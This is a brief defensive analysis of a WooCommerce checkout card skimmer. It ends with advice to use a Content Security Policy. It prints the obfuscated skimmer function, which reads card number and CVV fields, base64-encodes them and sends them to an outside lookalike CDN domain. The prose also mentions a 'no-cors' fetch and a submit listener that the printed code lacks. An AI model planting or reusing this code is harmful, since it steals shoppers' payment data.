Defensive Architecture: Technical Analysis of the Funnel Builder Skimming Payload

The skimmer uses a simple but effective event listener on the 'submit' button of the WooCommerce checkout form. It captures raw input values from the billing fields, base64 encodes them, and exfiltrates them via a GET request to a lookalike CDN domain. The use of 'fetch' with the 'no-cors' mode allows it to bypass some basic browser security policies.

function _0x5a2b(_0x123){ 
  var _0x4c = document.getElementById('billing_card_num');
  var _0x9d = _0x4c.value;
  var _0xex = btoa(_0x9d + ':' + document.getElementById('billing_cvv').value);
  fetch('https://payment-cdn-assets.com/v1/log?d=' + _0xex);
}

Implementing a strict Content Security Policy (CSP) that restricts 'connect-src' to only known-good payment gateways would block the 'fetch' call to the malicious domain, effectively neutralizing the skimmer even if the script is successfully injected.